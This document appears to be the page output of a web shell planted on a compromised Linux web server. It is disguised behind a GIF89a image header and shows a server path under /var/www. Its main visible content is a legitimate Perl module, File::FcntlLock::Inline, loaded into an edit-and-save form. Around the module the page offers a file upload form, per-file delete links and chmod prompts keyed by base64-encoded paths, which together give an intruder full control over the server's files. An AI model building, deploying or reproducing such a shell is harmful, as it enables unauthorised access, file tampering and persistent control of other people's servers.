GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Inline.pm<form method=post action="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=SW5saW5lLnBt"><input name="f" value="Inline.pm"><textarea name="t"># -*- cperl -*-
#
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.
#
# Copyright (C) 2002-2014 Jens Thoms Toerring &lt;jt@toerring.de&gt;


# Package for file locking with fcntl(2) in which the binary layout of
# the C flock struct is determined via compiling and running a C program
# each time the package is loaded

package File::FcntlLock::Inline;

use 5.006001;
use strict;
use warnings;
use Fcntl;
use Config;
use File::Temp;
use File::Spec;
use base qw( File::FcntlLock::Core );


our $VERSION = File::FcntlLock::Core-&gt;VERSION;

our @EXPORT = @File::FcntlLock::Core::EXPORT;


my ( $packstr, @member_list );


###########################################################

BEGIN {
	# Create a C file in the preferred directory for temporary files for
	# probing the layout of the C 'flock struct'. Since __DATA__ can't
	# be used in a BEGIN block we've got to do with a HEREDOC.

	my $c_file = File::Temp-&gt;new( TEMPLATE =&gt; 'File-FcntlLock-XXXXXX',
								  SUFFIX   =&gt; '.c',
								  DIR      =&gt; File::Spec-&gt;tmpdir( ) );

	print $c_file &lt;&lt;EOF;
#include &lt;stdio.h&gt;
#include &lt;stddef.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;limits.h&gt;


#define membersize( type, member ) ( sizeof( ( ( type * ) NULL )-&gt;member ) )
#define NUM_ELEMS( p ) ( sizeof p / sizeof *p )

typedef struct {
    const char * name;
    size_t       size;
    size_t       offset;
}  Params;


/*-------------------------------------------------*
 * Called from qsort() for sorting an array of Params structures
 * in ascending order of their 'offset' members
 *-------------------------------------------------*/

static int
comp( const void * a,
      const void * b )
{
    if ( a == b )
        return 0;
    return ( ( Params * ) a )-&gt;offset &lt; ( ( Params * ) b )-&gt;offset ? -1 : 1;
}


/*-------------------------------------------------*
 *-------------------------------------------------*/

int
main( void )
{
    Params params[ ] = { { &quot;l_type&quot;,
                           CHAR_BIT * membersize( struct flock, l_type ),
                           CHAR_BIT * offsetof( struct flock, l_type ) },
                         { &quot;l_whence&quot;,
                           CHAR_BIT * membersize( struct flock, l_whence ),
                           CHAR_BIT * offsetof( struct flock, l_whence ) },
                         { &quot;l_start&quot;,
                           CHAR_BIT * membersize( struct flock, l_start ),
                           CHAR_BIT * offsetof( struct flock, l_start ) },
                         { &quot;l_len&quot;,
                           CHAR_BIT * membersize( struct flock, l_len ),
                           CHAR_BIT * offsetof( struct flock, l_len ) },
                         { &quot;l_pid&quot;,
                           CHAR_BIT * membersize( struct flock, l_pid ),
                           CHAR_BIT * offsetof( struct flock, l_pid ) } };
    size_t size = CHAR_BIT * sizeof( struct flock );
    size_t i;
    size_t pos = 0;
    char packstr[ 128 ] = &quot;&quot;;
    
    /* All sizes and offsets must be divisable by 8 and the sizes of the
       members must be either 8-, 16-, 32- or 64-bit values, otherwise
       there's no good way to pack them. */

    if ( size % 8 )
        exit( EXIT_FAILURE );

    size /= 8;

    for ( i = 0; i &lt; NUM_ELEMS( params ); ++i )
    {
        if (    params[ i ].size   % 8
             || params[ i ].offset % 8
             || (    params[ i ].size   != 8
                  &amp;&amp; params[ i ].size   != 16
                  &amp;&amp; params[ i ].size   != 32
                  &amp;&amp; params[ i ].size   != 64 ) )
            exit( EXIT_FAILURE );

        params[ i ].size   /= 8;
        params[ i ].offset /= 8;
    }

    /* Sort the array of structures for the members in ascending order of
       the offset */

    qsort( params, NUM_ELEMS( params ), sizeof *params, comp );

    /* Cobble together the template string to be passed to pack(), taking
       care of padding and also extra members we're not interested in. All
       the interesting members have signed integer types. */

    for ( i = 0; i &lt; NUM_ELEMS( params ); ++i )
    {
		if ( pos != params[ i ].offset )
			sprintf( packstr + strlen( packstr ), &quot;x%lu&quot;,
					 ( unsigned long )( params[ i ].offset - pos ) );
		pos = params[ i ].offset;

        switch ( params[ i ].size )
        {
            case 1 :
				strcat( packstr, &quot;c&quot; );
                break;

            case 2 :
				strcat( packstr, &quot;s&quot; );
                break;

            case 4 :
				strcat( packstr, &quot;l&quot; );
                break;

            case 8 :
#if defined NO_Q_FORMAT
                exit( EXIT_FAILURE );
#endif
				strcat( packstr, &quot;q&quot; );
                break;

            default :
                exit( EXIT_FAILURE );
        }

		pos += params[ i ].size;
    }

    if ( pos &lt; size )
        sprintf( packstr + strlen( packstr ), &quot;x%lu&quot;,
                 (unsigned long ) ( size - pos ) );

    printf( &quot;%s\\n&quot;, packstr );
    for ( i = 0; i &lt; NUM_ELEMS( params ); ++i )
		printf( &quot;%s\\n&quot;, params[ i ].name );

    return 0;
}
EOF

	close $c_file;

	# Try to compile and link the file.

	my $exec_file = File::Temp-&gt;new( TEMPLATE =&gt; 'File=FcntlLock-XXXXXX',
									 DIR      =&gt; File::Spec-&gt;tmpdir( ) );
	close $exec_file;

    my $qflag = eval { pack 'q', 1 };
    $qflag = $@ ? '-DNO_Q_FORMAT' : '';

	die &quot;Failed to run the C compiler '$Config{cc}'\n&quot;
		if system &quot;$Config{cc} $Config{ccflags} $qflag -o $exec_file $c_file&quot;;

	# Run the program and read it's output, it writes out the template string
	# we need for packing and unpacking the binary C struct flock required for
	# fcntl() and then the members of the structures in the sequence they are
	# defined in there.

	open my $pipe, '-|', $exec_file
		or die &quot;Failed to run a compiled program: $!\n&quot;;

	chomp( $packstr = &lt;$pipe&gt; );
	while ( my $line = &lt;$pipe&gt; ) {
		chomp $line;
		push @member_list, $line;
	}

	# Make sure we got all information needed

    die   &quot;Your Perl version does not support the 'q' format for pack() &quot;
        . &quot;and unpack()\n&quot; unless defined $packstr;

	die &quot;Failed to obtain all needed data about the C struct flock\n&quot;
		unless @member_list == 5;
}


###########################################################
# Function for doing the actual fcntl() call: assembles the binary
# structure that must be passed to fcntl() from the File::FcntlLock
# object we get passed, calls it and then modifies the File::FcntlLock
# with the data from the flock structure

sub lock {
    my ( $self, $fh, $action ) = @_;

    my $buf = $self-&gt;pack_flock( );
    my $ret = fcntl( $fh, $action, $buf );

    if ( $ret  ) {
		$self-&gt;unpack_flock( $buf );
        $self-&gt;{ errno } = $self-&gt;{ error } = undef;
    } else {
        $self-&gt;get_error( $self-&gt;{ errno } = $! + 0 );
    }

    return $ret;
}


###########################################################
# Method for packing the data from the 'flock_struct' into a
# binary blob to be passed to fcntl().

sub pack_flock {
    my $self = shift;
	my @args;
	push @args, $self-&gt;{ $_ } for @member_list;
    return pack $packstr, @args;
}


###########################################################
# Method for unpacking the binary blob received from a call of
# fcntl() into the 'flock_struct'.

sub unpack_flock {
	my ( $self, $data ) = @_;
	my @res = unpack $packstr, $data;
	$self-&gt;{ $_ } = shift @res for @member_list;
}


=cut


1;


# Local variables:
# tab-width: 4
# indent-tabs-mode: nil
# End:
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/x86_64-linux-gnu/perl5/5.38/File/FcntlLock<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGU="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=Q29yZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=Q29yZS5wbQ=="/>Core.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=Q29yZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>3364</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=RXJyb3JzLnBt">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=RXJyb3JzLnBt"/>Errors.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=RXJyb3JzLnBt&c=`+btoa(c):0" value="0644"></td><td>4125</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=SW5saW5lLnBt">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=SW5saW5lLnBt"/>Inline.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=SW5saW5lLnBt&c=`+btoa(c):0" value="0644"></td><td>7496</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=SW5saW5lLnBvZA==">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=SW5saW5lLnBvZA=="/>Inline.pod</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=SW5saW5lLnBvZA==&c=`+btoa(c):0" value="0644"></td><td>10719</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=UHVyZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=UHVyZS5wbQ=="/>Pure.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=UHVyZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>2265</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=UHVyZS5wb2Q=">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=UHVyZS5wb2Q="/>Pure.pod</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=UHVyZS5wb2Q=&c=`+btoa(c):0" value="0644"></td><td>10719</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=WFMucG0=">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=WFMucG0="/>XS.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=WFMucG0=&c=`+btoa(c):0" value="0644"></td><td>494</td></tr><tr><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&x=WFMucG9k">X</a></td><td><a href="?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=WFMucG9k"/>XS.pod</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9wZXJsNS81LjM4L0ZpbGUvRmNudGxMb2Nr&f=WFMucG9k&c=`+btoa(c):0" value="0644"></td><td>10719</td></tr></table>